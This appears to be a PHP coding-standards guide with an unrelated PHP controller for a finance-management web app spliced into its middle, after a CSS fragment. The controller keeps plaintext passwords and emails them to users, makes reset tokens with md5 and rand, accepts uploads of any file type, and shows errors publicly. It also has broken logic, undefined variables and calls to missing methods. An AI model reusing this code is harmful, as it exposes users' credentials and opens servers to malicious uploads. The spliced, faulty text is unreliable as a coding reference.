 no-repeat 0 100%;
}

#sidebar ul.blue label {
    color: White;
    background: #2E2E6B url
('http://images.dealnews.com/dealnews/backgrounds/sidebar/header_dark_blue.png')
 no-repeat 0 0;
}

#sidebar #categories li.current {
    color: #FF9A00;
    font-weight: bold;
}
```

This verbosity ensures that other elements are not accidentally styled.

```
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('display_startup_errors', true);
require_once('functions/base_url.php');
if (session_status() == PHP_SESSION_NONE) {
    session_start();
}

//  database connect file check
!file_exists('functions/Connect_db.php') ? header('Location: ' . $base_url .
 'functions/databaseSettings.php') : '';
require_once('functions/Connect_db.php');
require_once('functions/SqlQuery.php');
require_once('functions/CheckerFn.php');
require_once('currencyAndIcons.php');
require_once('SendMail.php');

class Action
{
    public $db;
    public $checker;
    public $theDay;
    public function __construct()
    {
        $this->db = new SqlQuery;
        $this->theDay = date('Y-m-d');
        $this->checker = new CheckerFn;
    }


    // company settings manage add, update
    public function manageSettings()
    {
        $logo = '';
        $companyName = $this->checker->c_valid($_POST['companyName']);
        $userCurrency = $this->checker->c_valid($_POST['userCurrency']);
        $smtpHost = $this->checker->c_valid($_POST['smtpHost']);
        $smtpPort = $this->checker->c_valid($_POST['smtpPort']);
        $smtpAuth = $this->checker->c_valid($_POST['smtpAuth']);
        $contactEmail = $this->checker->c_valid($_POST['contactEmail']);
        $emailPassword = $this->checker->c_valid($_POST['emailPassword']);
        $startingDate = $this->checker->c_valid($_POST['startingDate']);
        if (!empty($_FILES['logo']['name'])) {
            $logo_array = $_FILES['logo'];
            $name = explode('.', $logo_array['name']);
            $logo = md5(rand() . time()) . '.' . end($name);
        } else {
            $logo = $this->checker->c_valid($_POST['preLogo']);
        }

        $data = [
            'companyName' => $companyName,
            'companyLogo' => $logo,
            'userCurrency' => $userCurrency,
            'smtpHost' => $smtpHost,
            'smtpPort' => $smtpPort,
            'smtpAuth' => $smtpAuth,
            'contactEmail' => $contactEmail,
            'emailPassword' => $emailPassword,
            'startingDate' => $startingDate
        ];

        // check smtp connection
        $smtpCheck = fsockopen($smtpHost, $smtpPort, $errno, $errstr, 6);
```

```
        if (is_bool($smtpCheck) && $smtpCheck === false) {
            $_SESSION['smtpInvalid'] = $data;
            return $this->checker->redirect('settings');
        }

        if (isset($_SESSION['atFirstSettings'])) {
            $insertSuccess = $this->db->insertAction('company_settings', $data);
            if (isset($insertSuccess)) {
                unset($_SESSION['atFirstSettings']);
                move_uploaded_file($logo_array['tmp_name'], 'img/' . $logo);
                return $this->checker->redirect('registerPartner');
            }
        } elseif (isset($_POST['settingsEdit'])) {
            $id = $this->checker->c_valid($_POST['settingsEdit']);
            $success = $this->db->updateAction('company_settings', $data, ['id'
=> $id]);
            if (isset($success)) {
                if ($logo !== $_POST['preLogo']) {
                    $_SESSION['logo'] = $logo;
                    unlink('img/' . $_POST['preLogo']);
                    move_uploaded_file($logo_array['tmp_name'], 'img/' . $logo);
                }
                $_SESSION['settingsUpdated'] = 1;
                $_SESSION['currency'] = currency_symbol($userCurrency);
                return $this->checker->redirect('manageSettings');
            }

        }
    }

    // user account recovery method if user forgot user account informetion
    public function getAccount($getBy)
    {

        // user account information get by email
        $getAccount;
        if ($getBy === '010') {
            $email = $this->checker->c_valid($_POST['email']);
            if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
                $emailExist = $this->db->get_row("fms_admin", ['email' =>
$email]);
                if (isset($emailExist) && $emailExist) {
                    $getAccount = $emailExist;
                } else {
                    $_SESSION['doesNotExist_e'] = $email;
                    return $this->checker->redirect('forgotPassword');
                }
            } else {
                $_SESSION['invalidEmail'] = $email;
                return $this->checker->redirect('forgotPassword');
            }
        }


        // to get user account information by user full name & birthday
        if ($getBy === '101') {
            $fullName = $this->checker->c_valid($_POST['fn']) . ' ' .
$this->checker->c_valid($_POST['ln']);
            $birthday = $this->checker->c_valid($_POST['birthday']);
            $userExist = $this->db->get_row('fms_admin', ['fullName' =>
$fullName, 'birthday' => $birthday]);
            if (isset($userExist)) {
                $userExist = $getAccount;
            } else {
                $_SESSION['actionfaild'] = 1;
                return $this->checker->redirect('forgotPassword');
```

```
            }
        }


        // check user is exists
        if (isset($getAccount)) {
            $email = $getAccount['email'];
            $userName = $getAccount['userName'];
            $fullName = $getAccount['fullName'];
            $sec = json_decode($getAccount['userInfo_sc']); // secure
informetion container
            $password = md5(sha1($userName . rand()));
            $sec_one = md5(sha1($password . rand()));
            $sec_two = md5(sha1($sec_one . rand()));
            $setLink = $this->checker->base_url() . 'resetPassword.php?' .
$userName . '=' . $password . '&' . $sec_one . '=' . $sec_two;
            $getEmail = $this->db->get_row("company_settings");
            $accountInf = [$sec->userName_sc, $sec->password_sc];


            // this is mail data to send a mail
            $emailData = ['getEmail' => $getEmail, 'toMail' => $email,
'fullName' => $fullName, 'link' => $setLink, 'accountInf' => $accountInf];


            // mail sender class
            $emailClass = new SendMail;
            $sendResult = $emailClass->send_mail($emailData);

            // check, mail send is success
            if (isset($sendResult) && intval($sendResult) === 1) {
                $sec = $this->checker->secureInfoProcess($sec);
                $id = $getAccount['id'];
                array_push($sec, [$sec_one, $sec_two]);
                $upd = ['userInfo_sc' => json_encode($sec)];
                $edit = $this->db->updateAction('fms_admin', $upd, ['id' =>
$id]);
                if (isset($edit)) {
                    $_SESSION['emailSend'] = $email;
                    return $this->checker->redirect('login');
                } else {
                    $_SESSION['actionfaild'] = 3;
                    return $this->checker->redirect('forgotPassword');
                }
            } else {
                $_SESSION['actionfaild'] = 2;
                return $this->checker->redirect('forgotPassword');
            }
        }
    }


    // user account reset
    public function resetPassword($updateUser = null)
    {
        if (isset($_SESSION['userInformetion'])) {
            $info = $_SESSION['userInformetion'];
            $ridirectLink = $_SESSION['ridirect_l'];
            $protocol = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ?
$_SERVER['HTTPS'] : 'http';
            $ridirectLink = $protocol . '://' . $_SERVER['HTTP_HOST'] .
$ridirectLink;

            if (empty($_POST['passworda']) || empty($_POST['passwordr'])) {
                $_SESSION['emptyField'] = 1;
                return header('Location: ' . $ridirectLink);
```

```
            } else {
                if ($_POST['passworda'] === $_POST['passwordr']) {
                    $pas = $this->checker->c_valid($_POST['passworda']);
                    $secure = json_decode($info['userInfo_sc']);
                    $secure_od = $secure;
                    $secure = $secure->oldPassword_sc;
                    if (empty($secure)) {
                        $password = $pas;
                    } else {
                        if (in_array($pas, $secure) || $pas ===
$secure_od->password_sc) {
                            $_SESSION['old_p'] = 1;
                            return header('Location: ' . $ridirectLink);
                        } else {
                            $password = $pas;
                        }
                    }
                    if (isset($password)) {
                        $getEmail = $this->db->get_row("company_settings");
                        $email = !isset($updateUser) ? $info['email'] :
$this->checker->c_valid($_POST['email']);
                        $newPassword = $password;
                        $fullName = !isset($updateUser) ? $info['fullName'] :
$this->checker->c_valid($_POST['fn']) . ' ' .
$this->checker->c_valid($_POST['ln']);
                        $userName = !isset($updateUser) ?
$secure_od->userName_sc : $updateUser;
                        $accountInf = [$userName, $newPassword];
                        $emailData = ['getEmail' => $getEmail, 'toMail' =>
$email, 'fullName' => $fullName, 'accountInf' => $accountInf];

                        // mail sender class
                        $emailClass = new SendMail;
                        $sendResult = $emailClass->send_mail($emailData);

                        if (isset($sendResult) && intval($sendResult) === 1) {
                            $password = password_hash($password,
PASSWORD_BCRYPT, ["cost" => 12]);
                            $password_sc = $newPassword;
                            $oldPassword_sc = $secure_od->oldPassword_sc;
                            array_push($oldPassword_sc,
$secure_od->password_sc);
                            $new_userInfo_sc = ['userName_sc' => $userName,
'password_sc' => $password_sc, 'oldPassword_sc' => $oldPassword_sc];
                            $upd = ['password' => $password, 'userInfo_sc' =>
json_encode($new_userInfo_sc)];

                            unset($_SESSION['ridirect_l']);
                            unset($_SESSION['userInformetion']);
                            if (isset($updateUser)) {
                                return $upd;
                            } else {
                                $passwordUpdate =
$this->db->updateAction('fms_admin', $upd, ['id' => $info['id']]);
                                if (isset($passwordUpdate)) {
                                    $_SESSION['resetSuccess'] = $email;
                                    return $this->checker->redirect('login');
                                }
                            }
                        }
                    }
                } else {
                    $_SESSION['doesNot_m'] = 1;
                    return header('Location: ' . $ridirectLink);
                }
            }
```

```
        }
    }

    // create user account
    public function createUserNamePassword($securAction = null)
    {
        if (isset($securAction) && $securAction === 8994723402 &&
!empty($_POST)) {
            $info = $_SESSION['userinfo'];
            $userName = $this->checker->c_valid($_POST['userName']);
            $password = $this->checker->c_valid($_POST['password']);
            $userInfo_sc = json_encode(array('userName_sc' => $userName,
'password_sc' => $password, 'oldPassword_sc' => []));
            if (ctype_alnum($userName)) {
                $email = $info['email'];
                $fullName = $info['fullName'];
                $accountInf = [$userName, $password];
                $getEmail = $this->db->get_row("company_settings");
                $emailData = ['getEmail' => $getEmail, 'toMail' => $email,
'fullName' => $fullName, 'accountInf' => $accountInf];

                // mail sender class
                $emailClass = new SendMail;
                $sendResult = $emailClass->send_mail($emailData);

                if (isset($sendResult) && intval($sendResult) === 1) {
                    $userName = md5(sha1($userName));
                    $password = password_hash($password, PASSWORD_BCRYPT,
["cost" => 12]);
                    $upData = [
                        'userName' => $userName,
                        'password' => $password,
                        'userInfo_sc' => $userInfo_sc
                    ];
                    $success = $this->db->updateAction('fms_admin', $upData,
['id' => $info['id']]);
                    if (isset($success)) {
                        unset($_SESSION['userinfo']);
                        $_SESSION['a_create_success'] = $email;
                        return $this->checker->redirect('login');
                    } else {
                        return $this->checker->redirect('setUserNamePassword');
                    }
                }
            }
        }
    }

    // user informetion add or eidt manager
    function manageUsers()
    {
        if (isset($_SESSION['ridirect_l'])) {
            $ridirectLink = $_SESSION['ridirect_l'];
            $protocol = isset($_SERVER['HTTPS']) && !empty($_SERVER['HTTPS']) ?
$_SERVER['HTTPS'] : 'http';
            $ridirectLink = $protocol . '://' . $_SERVER['HTTP_HOST'] .
$ridirectLink;
        }
        if (isset($_POST['fn']) && filter_var($_POST['email'],
FILTER_VALIDATE_EMAIL)) {
            $fullName = $this->checker->c_valid($_POST['fn']) . ' ' .
$this->checker->c_valid($_POST['ln']);
            $currency = isset($_POST['currency']) ? $_POST['currency'] : '';
            $percentage = $this->checker->c_valid($_POST['percentage']);
            $birthday = $this->checker->c_valid($_POST['birthday']);
            $email = $this->checker->c_valid($_POST['email']);
```

```
            $gender = $this->checker->c_valid($_POST['gender']);
            $userRoll = $this->checker->c_valid($_POST['userRoll']);

            $file_name = '';
            if (!empty($_FILES['img']['name'])) {
                $photo_array = $_FILES['img'];
                $name = explode('.', $photo_array['name']);
                $file_name = md5(rand() . time()) . '.' . end($name);
            }

            if (isset($_POST['register']) ||
isset($_POST['atFirstRegisterUser'])) {
                $userName = md5(sha1($email . rand()));
                $password = md5(sha1($email . rand() . $fullName));
                $setLink = $this->checker->base_url() .
'setUserNamePassword.php?' . $userName . '=' . $password;
                $getEmail = $this->db->get_row("company_settings");
                $emailData = ['getEmail' => $getEmail, 'toMail' => $email,
'fullName' => $fullName, 'link' => $setLink];
                $emailClass = new SendMail;
                $sendResult = $emailClass->send_mail($emailData);
                if (isset($sendResult) && intval($sendResult) === 1) {
                    $insertD = ['fullName' => $fullName, 'email' => $email,
'userName' => $userName, 'password' => $password, 'userInfo_sc' => '',
'percentage' => $percentage, 'photo' => $file_name, 'birthday' => $birthday,
'gender' => $gender, 'userRoll' => $userRoll, 'a_date' => $this->theDay,
'u_date' => ''];
                    $insertSuccess = $this->db->insertAction('fms_admin',
$insertD);
                    if (isset($insertSuccess)) {
                        $_SESSION['install'] = 1;
                        $_SESSION['registerSuccess'] = $email;
                        move_uploaded_file($photo_array['tmp_name'],
'uploadFiles/userPhoto/' . $file_name);
                        $page = isset($_POST['register']) ? 'userRegistration' :
'login';
                        return $this->checker->redirect($page);
                    } else {
                        $_SESSION['sorry'] = 'action failde';
                        return $this->checker->redirect('userRegistration');
                    }
                } else {
                    $exists_p = $this->db->get("fms_admin");
                    if (isset($exists_p)) {
                        return $this->checker->redirect('userRegistration');
                    }
                    return $this->checker->redirect('registerPartner');
                }
            }

            if (isset($_POST['editUserInfo'])) {
                $preEdit = $_SESSION['userInformetion'];
                $upFile = empty($_FILES['img']['name']) ? $preEdit['photo'] :
$file_name;
                $upd = ['fullName' => $fullName, 'email' => $email, 'percentage'
=> $percentage, 'photo' => $upFile, 'birthday' => $birthday, 'gender' =>
$gender, 'userRoll' => $userRoll, 'u_date' => $this->theDay];

                if (isset($_POST['passworda']) &&
!password_verify($_POST['passworda'], $preEdit['password'])) {
                    $userName = $this->checker->c_valid($_POST['userName']);
                    $updatePass = $this->resetPassword($userName);
                    if (is_array($updatePass) && !empty($updatePass)) {
                        $resetSuccess = 1;
                        $upd['userName'] = md5(sha1($userName));
                        $upd['password'] = $updatePass['password'];
```

```
                    $upd['userInfo_sc'] = $updatePass['userInfo_sc'];
                } else {
                    return header('Location: ' . $ridirectLink);
                }
            } elseif (isset($_POST['userName'])) {
                $userName = $this->checker->c_valid($_POST['userName']);
                $upd['userName'] = md5(sha1($userName));
            }
            $id = $preEdit['id'];
            $edit = $this->db->updateAction('fms_admin', $upd, ['id' =>
$id]);
            if (isset($edit)) {
                $_SESSION['editSuccess'] = 1;
                isset($resetSuccess) ? $_SESSION['resetSuccess'] = $email :
false;
                $user = $this->db->get_row('fms_admin', ['id' => $id]);
                unset($user['password']);
                unset($user['userName']);
                unset($user['userInfo_sc']);
                $_SESSION['userinfo']['id'] === $id ? $_SESSION['userinfo']
= $user : false;
                if ($upFile === $file_name) {
                    move_uploaded_file($photo_array['tmp_name'],
'uploadFiles/userPhoto/' . $upFile);
                    unlink('uploadFiles/userPhoto/' . $preEdit['photo']);
                }
                return $this->checker->redirect('users');
            } else {
                $_SESSION['editfaild'] = 1;
            }
        }
    } else {
        $_SESSION['invalidEmail'] = $_POST['email'];
        if (isset($_POST['editUserInfo'])) {
            return header('Location: ' . $ridirectLink);
        } else {
            return $this->checker->redirect('userRegistration');
        }
    }
}

// add user Earns
public function cashInsert()
{
    $source = $this->checker->c_valid($_POST['source']);
    $amount = $this->checker->c_valid($_POST['amount']);
    if (ctype_digit($amount)) {
        $id = $_SESSION['userinfo']['id'];
        $insertData = ['id' => $id, 'earnSource' => $source, 'amount' =>
$amount, 'currency' => '', 'ba_date' => $this->theDay, 'bu_date' => ''];
        $result = $this->db->insertAction('fms_bank', $insertData);
        if (isset($result)) {
            $_SESSION['success_ms'] = 1;
            return $this->checker->redirect('bankCash');
        }
    } else {
        $_SESSION['invalidAmount'] = $amount;
        return $this->checker->redirect('bankCash');
    }
}

// edit user Earns
public function cashUpdate()
{
    $source = $this->checker->c_valid($_POST['source']);
    $bankId = $this->checker->c_valid($_POST['updateId']);
```

```
       $amount = $this->checker->c_valid($_POST['amount']);
       if (!empty($bankId)) {
           $up_data = ['earnSource' => $source, 'amount' => $amount, 'bu_date'
=> $this->theDay];
           $result = $this->db->updateAction('fms_bank', $up_data, ['bankId' =>
$bankId]);
           if (isset($result)) {
               $_SESSION['info_message'] = 1;
               return $this->checker->redirect('cashDetails');
           }
       }
   }

   // Expense maange add or eidt
   public function manageExpense()
   {
       $amount = $this->checker->c_valid($_POST['amount']);

       if (isset($_SESSION['costInsert'])) {
           $memoData = [];
           $memoName = $_FILES['memo']['name'];
           $tmpName = $_FILES['memo']['tmp_name'];
           for ($i = 0; $i < count($memoName); $i++) {
               $memoName[$i];
               $tmpName[$i];
               if (!empty($memoName[$i])) {
                   $name = explode('.', $memoName[$i]);
                   $fileName = md5(rand() . $name[0] . time()) . '.' .
end($name);
                   $memoData[] = $fileName;
                   move_uploaded_file($tmpName[$i], 'uploadFiles/memo/' .
$fileName);
               } else {
                   $memoData[] = '';
               }
           }
           $id = $_SESSION['userinfo']['id'];
           $costDetails = json_encode(['c_productName' => $_POST['costCn'],
'c_amount' => $_POST['costCa'], 'c_memo' => $memoData]);
           $insertData = ['id' => $id, 'cst_amount' => $amount, 'cst_currency'
=> '', 'cost_details' => $costDetails, 'cst_a_date' => $this->theDay,
'cst_u_date' => ''];
           $result = $this->db->insertAction('fms_cost', $insertData);
           if (isset($result)) {
               $_SESSION['info_message'] = 'submited';
               return $this->checker->redirect('costManage');
           }
       }

       if (isset($_SESSION['costEdit'])) {
           $memoData = [];
           $upId = $_SESSION['costEdit'];
           $memoName = $_FILES['memo']['name'];
           $tmpName = $_FILES['memo']['tmp_name'];
           $preEdit = $this->db->get_row('fms_cost', ['cst_id' => $upId]);
           $oldMemo = json_decode($preEdit['cost_details']);
           $upc_memo = isset($oldMemo->c_memo) ? $oldMemo->c_memo : [];
           for ($i = 0; $i < count($memoName); $i++) {
               $memoName[$i];
               $tmpName[$i];
               if (!empty($memoName[$i])) {
                   $name = explode('.', $memoName[$i]);
                   $fileName = md5(rand() . $name[0] . time()) . '.' .
end($name);
                   $memoData[] = $fileName;
                   isset($upc_memo[$i]) ? unlink('uploadFiles/memo/' .
```

```
 $upc_memo[$i]) : false;
                    move_uploaded_file($tmpName[$i], 'uploadFiles/memo/' .
 $fileName);
                } else {
                    $memoData[] = isset($upc_memo[$i]) ? $upc_memo[$i] : '';
                }
            }

            $costDetails = json_encode(['c_productName' => $_POST['costCn'],
 'c_amount' => $_POST['costCa'], 'c_memo' => $memoData]);
            $upData = ['id' => $preEdit['id'], 'cst_amount' => $amount,
 'cost_details' => $costDetails, 'cst_u_date' => $this->theDay];
            $updateSuccess = $this->db->updateAction('fms_cost', $upData,
 ['cst_id' => $upId]);
            if (isset($updateSuccess)) {
                unset($_SESSION['costEdit']);
                if ($upFile === $cst_memo) {
                    move_uploaded_file($photo_array['tmp_name'],
 'uploadFiles/memo/' . $upFile);
                    !empty($preEdit['cst_memo']) ? unlink('uploadFiles/memo/' .
 $preEdit['cst_memo']) : false;
                }
                $_SESSION['info_message'] = ' update ' . $cst_memo_up;
                return $this->checker->redirect('userCostDetails');
            }
        }
    }
}

$action = new Action;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_SESSION['atFirstSettings'])) {
        return $action->manageSettings(0000010113112);
    } elseif (isset($_SESSION['registerPartner'])) {
        unset($_SESSION['registerPartner']);
        return $action->manageUsers();
    } elseif (isset($_SESSION['userinfo'])) {
        $userInfo = $_SESSION['userinfo'];
        if (isset($_SESSION['createUserNamePassword'])) {
            unset($_SESSION['createUserNamePassword']);
            return $action->createUserNamePassword(0103010113112);
        }
        if (isset($_POST['getBy']) && !empty($_POST['getBy'])) {
            $getBy = $action->checker->c_valid($_POST['getBy']);
            if ($getBy === '101' || $getBy === '010') {
                return $action->getAccount($getBy);
            }
        }
        if (isset($_SESSION['resetAccount404'])) {
            return $action->resetAccount(0103010112);
        }

        if (isset($_SESSION['csrf']) && $_SESSION['csrf'] === $_POST['cc']) {
            unset($_SESSION['csrf']);
            return $action->resetPassword();
        }

        // sec_a = secure action
        if (isset($_SESSION['sec_a'], $_POST['sec_a']) && $_SESSION['sec_a'] ===
 $_POST['sec_a']) {
            if ($_POST['settingsEdit']) {
                return $action->manageSettings(0000010113112);
            }
            if (isset($_POST['updateEmail'])) {
                return $action->updateEmail();
```

```
            }
            if (isset($_SESSION['bank'])) {
                unset($_SESSION['bank']);
                if (isset($_SESSION['cashInsert'])) {
                    unset($_SESSION['cashInsert']);
                    return $action->cashInsert();
                }
                if (isset($_SESSION['cashUpdate'])) {
                    unset($_SESSION['cashUpdate']);
                    return $action->cashUpdate();
                }
            }
            if (isset($_SESSION['userAction'])) {
                unset($_SESSION['userAction']);
                return $action->manageUsers();
            }
            if (isset($_SESSION['costAction'])) {
                unset($_SESSION['costAction']);
                return $action->manageExpense();
            }
        }
        return $action->checker->redirect('404');
    } else {
        return $action->checker->redirect('login');
    }
} elseif ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_SESSION['userinfo'])
 && isset($_SESSION['sec_a']) && isset($_GET) && !empty($_GET)) {
    $userInfo = $_SESSION['userinfo'];
    $valueId = array_values($_GET);
    $keysId = array_keys($_GET);

    // to delete Earn row
    if (isset($_SESSION['bank']) && $_SESSION['sec_a'] === $valueId[1]) {
        $id = $action->checker->makeId($valueId[0]);
        $pre_delete = $action->db->get_row('fms_bank', ['bankId' => $id]);
        $delete = $action->db->deleteAction('fms_bank', ['bankId' => $id]);
        if (isset($delete)) {
            $currency = $pre_delete["currency"] === 'bdt' ? 'Tk' : '$';
            $_SESSION['info_message'] = [($pre_delete["bankId"]),
 ($pre_delete["amount"] . $currency)];
            return $action->checker->redirect('cashDetails');
        }
    }

    //  to delete user
    if (isset($_SESSION['user']) && $_SESSION['sec_a'] === $keysId[0]) {

        $id = $action->checker->makeId($valueId[0]); // make user id
        $user = $action->db->get_row('fms_admin', ['id' => $id]);  // user
 information
        $deleteSucccess = $action->db->deleteAction('fms_admin', ['id' => $id]);
        if (isset($deleteSucccess)) {
            unlink('uploadFiles/userPhoto/' . $user['photo']);
            if ($userInfo['id'] === $id) {
                return $action->checker->redirect('login');
            } else {
                $_SESSION['deleteSucccess'] = $user['fullName'];
                return $action->checker->redirect('users');
            }
        }
    }

    return $action->checker->redirect('404');
} else {
    return $action->checker->redirect('404');
}
```

63.4 PHP Syntax

63.4.1 Request Vars

Although our servers currently have register_globals enabled, PHP 6 will remove this option. Therefore, in new code, you should always use the super globals $_GET, $_POST, and $_COOKIE. $_REQUEST should be used only when it is known for sure that a variable could be supplied using multiple methods.

63.4.2 PHP & HTML

No "template system" such as Smarty will be used. PHP itself is a templating language. A best effort should be made to arrange your code by putting logic at the top of file and output at the bottom of the file. Sometimes that will require looping the same information twice. However, this will make the code much more maintainable.

Example PHP/HTML Mix

```
<?php

$sql = "select * from publications";
$PHEWSDB->query($sql);
while($rec = $PHEWSDB->fetch_array()){
    $publications[] = $rec;
}

?>

<ul>
    <label>Publications</label>
    <?php foreach($publications as $pub) { ?>
        <li><?=$pub["name"]?></li>
    <?php } ?>
</ul>
```

63.4.3 Control Structures

These include `if`, `for`, `while`, `switch`, etc.

Example `if` statement

```
if (condition1 || condition2) {
    action1;
} elseif (condition3 && (condition4 || condition5)) {
    action2;
} else {
    defaultaction;
}
```

Control statements should have one space between the control keyword and opening parenthesis, to distinguish them from function calls.

You are strongly encouraged to always use curly braces even in situations where they are technically optional. Having them increases readability and decreases the likelihood of logic errors being introduced when new lines are added.

Example `switch` statement

```
switch (condition) {
    case 1:
        action1;
        break;
    case 2:
        action2;
        break;

    default:
        defaultaction;
        break;
}
```

63.4.4 Function Calls

Functions should be called with no spaces between the function name, the opening parenthesis, and the first parameter; spaces between commas and each parameter, and no space between the last parameter, the closing parenthesis, and the semicolon.

Example function call

```
$var = foo($bar, $baz, $quux);
```

As displayed above, there should be one space on either side of an equals sign used to assign the return value of a function to a variable. In the case of a block of related assignments, more space may be inserted to promote readability:

```
$short         = foo($bar);
$long_variable = foo($baz);
```

63.4.5 Function Definitions

Function declarations are similar to function calls with the beginning brace on the same line as the function declaration.

Example `function` definition

```
function foo_func($arg1, $arg2 = '') {
    if (condition) {
        statement;
    }
    return $val;
}
```

Arguments with default values go at the end of the argument list. Always attempt to return a meaningful value from a function if one is appropriate.

Longer `function` example

```
function connect(&$dsn, $persistent = false) {
    if (is_array($dsn)) {
        $dsninfo = &$dsn;
    } else {
        $dsninfo = DB::parseDSN($dsn);
    }

    if (!$dsninfo || !$dsninfo['phptype']) {
        return $this->raiseError();
    }

    return true;
}
```

63.4.6 Comments

Complete inline documentation comment blocks (docblocks) must be provided. Please read the Sample File[2] and Header Comment Blocks[3] sections to learn the specifics of writing docblocks for PHP. Further information can be found on the phpDocumentor[4] website.

Non-documentation comments are strongly encouraged. A rule of thumb is that if you look at a section of code and think "Wow, I don't want to try and describe that", you need to comment it before you forget how it works.

C style comments (`/* */`) and standard C++ comments (`//`) are both fine. The use of Perl / shell style comments (`#`) is *strongly* discouraged.

63.4.7 Including Code

Anywhere you are unconditionally including a class file, use `require_once`. Anywhere you are conditionally including a class file, use `include_once`. Either of these will ensure that class files are included only once. They share the same file list, so you don't need to worry

2 #Sample_File
3 #Header_Comment_Blocks
4 http://www.phpdoc.org/

about mixing them - a file included with `require_once` will not be included again by `include_once`.

^5

63.4.8 PHP Code Tags

Always use <?php ?> to delimit PHP code, not the <? ?> shorthand. This is the most portable way to include PHP code on different operating systems and server setups.

63.4.9 Header Comment Blocks

All source code files shall contain a "page-level" docblock at the top of each file and a "class-level" docblock immediately above each class or function.

5 #ref_include_once_and_require_once_are_statements,_not_functions._Parentheses_should_not_surround_the_subject_filename.

Example docblocks

```
<?php

/**
 * Short description for file
 *
 * Long description for file (if any)...
 *
 * @category   CategoryName
 * @package    PackageName
 * @author     Original Author <author@example.com>
 * @author     Another Author <another@example.com>
 * @copyright  1997-2005 The PHP Group
 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
 * @version    CVS: $Id:$
 * @link       http://pear.php.net/package/PackageName
 * @see        NetOther, Net_Sample::Net_Sample()
 * @since      File available since Release 1.2.0
 * @deprecated File deprecated in Release 2.0.0
 */

/*
 * Place includes, constant defines and $_GLOBAL settings here.
 * Make sure they have appropriate docblocks to avoid phpDocumentor
 * construing they are documented by the page-level docblock.
 */

/**
 * Short description for class
 *
 * Long description for class (if any)...
 *
 * @category   CategoryName
 * @package    PackageName
 * @author     Original Author <author@example.com>
 * @author     Another Author <another@example.com>
 * @copyright  1997-2005 The PHP Group
 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
 * @version    Release: @package_version@
 * @link       http://pear.php.net/package/PackageName
 * @see        NetOther, Net_Sample::Net_Sample()
 * @since      Class available since Release 1.2.0
 * @deprecated Class deprecated in Release 2.0.0
 */
class foo
{
}

?>
```

Required Tags That Have Variable Content

Short Descriptions

Short descriptions must be provided for all docblocks. They should be a quick sentence, not the name of the item. Please read the Coding Standard's Sample File about how to write good descriptions.

@author
There's no hard rule to determine when a new code contributor should be added to the list of authors for a given source file. In general, their changes should fall into the "substantial" category (meaning somewhere around 10% to 20% of code changes). Exceptions could be made for rewriting functions or contributing new logic.

Simple code reorganization or bug fixes would not justify the addition of a new individual to the list of authors.

@since
This tag is required when a file or class is added after the package's initial release. Do not use it in an initial release.

@deprecated
This tag is required when a file or class is no longer used but has been left in place for backwards compatibility.

Order and Spacing

To ease long-term readability of the source code, the text and tags must conform to the order and spacing provided in the example above. This standard is adopted from the JavaDoc standard.

63.4.10 Example URLs

Use example.com, example.org and example.net for all example URLs and email addresses, per RFC 2606[6].

63.4.11 Naming Conventions

Classes

Classes should be given descriptive names. Avoid using abbreviations where possible. Class names should always begin with an uppercase letter and use mixed case to separate *words*.

Examples of good class names are:

```
Log
NetFinger
HTMLUploadError
```

Functions, Methods and Variable Names

Functions, methods and variable names should be named using the Unix C style. If applicable, functions should have the package or library name as a prefix to avoid name collisions.

6 https://tools.ietf.org/html/rfc2606

Names should be all lowercase with each new "word" separated by an underscore(_). Some examples:

```
connect()
get_data()
build_some_widget()

$i
$count
$temp_array
```

Private class members (meaning class members that are intended to be used only from within the same class in which they are declared are preceded by a single underscore. For example:

```
_sort()
_init_tree()
$this->_status
```

Constants and Global Variables

Constants and global variables should always be all-uppercase, with underscores to separate words. Prefix constant names with the uppercased name of the class/package they are used in. For example, the constants used by a package named `DB` begin with `DB_`.

Note: The true, false and null constants are excepted from the all-uppercase rule, and must always be lowercase.

63.4.12 File Formats

All scripts must:

- Be stored as ASCII text
- Use ISO-8859-1 character encoding
- Be Unix formatted, which means:
    1. Lines must end only with a line feed (LF). Line feeds are represented as ordinal 10, octal 012 and hex 0A. Do not use carriage returns (CR) like Macintosh computers do or the carriage return/line feed combination (CRLF) like Windows computers do.
    2. It is recommended that the last character in the file is a line feed. This means that when the cursor is at the very end of the file, it should be one line below the last line of text. Some utilities, such as diff, will complain if the last character in the file is not a line feed.

63.4.13 Sample File

Each docblock in the example contains many details about writing Docblock Comments. Following those instructions is important for two reasons. First, when docblocks are easy to read, users and developers can quickly ascertain what your code does.

Please take note of the vertical and horizontal spacing. They are part of the standard.

```
<?php

/**
 * Short description for file
 *
 * Long description for file (if any)...
 *
 * @category   CategoryName
 * @package    PackageName
 * @author     Original Author <author@example.com>
 * @author     Another Author <another@example.com>
 * @copyright  1997-2005 The PHP Group
 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
 * @version    CVS: $Id:$
 * @link       http://pear.php.net/package/PackageName
 * @see        NetOther, Net_Sample::Net_Sample()
 * @since      File available since Release 1.2.0
 * @deprecated File deprecated in Release 2.0.0
 */

/**
 * This is a "Docblock Comment," also known as a "docblock."  The class'
 * docblock, below, contains a complete description of how to write these.
 */
require_once 'PEAR.php';

/**
 * Methods return this if they succeed
 */
define('NET_SAMPLE_OK', 1);

/**
 * The number of objects created
 * @global int $GLOBALS['NET_SAMPLE_COUNT']
 */
$GLOBALS['NET_SAMPLE_COUNT'] = 0;

/**
 * An example of how to write code to PEAR's standards
 *
 * Docblock comments start with "/**" at the top. Notice how the "/"
 * lines up with the normal indenting and the asterisks on subsequent rows
 * are in line with the first asterisk. The last line of comment text
 * should be immediately followed on the next line by the closing asterisk
 * and slash and then the item you are commenting on should be on the next
 * line below that. Don't add extra lines. Please put a blank line
 * between paragraphs as well as between the end of the description and
 * the start of the @tags. Wrap comments before 80 columns in order to
 * ease readability for a wide variety of users.
 *
 * Docblocks can only be used for programming constructs that allow them
 * (classes, properties, methods, defines, includes, globals). See the
 * phpDocumentor documentation for more information.
 * http://phpdoc.org/docs
/HTMLSmartyConverter/default/phpDocumentor/tutorial_phpDocumentor.howto.pkg.html
 *
 * The Javadoc Style Guide is an excellent resource for figuring out
 * how to say what needs to be said in docblock comments. Much of what is
 * written here is a summary of what is found there, though there are some
 * cases where what's said here overrides what is said there.
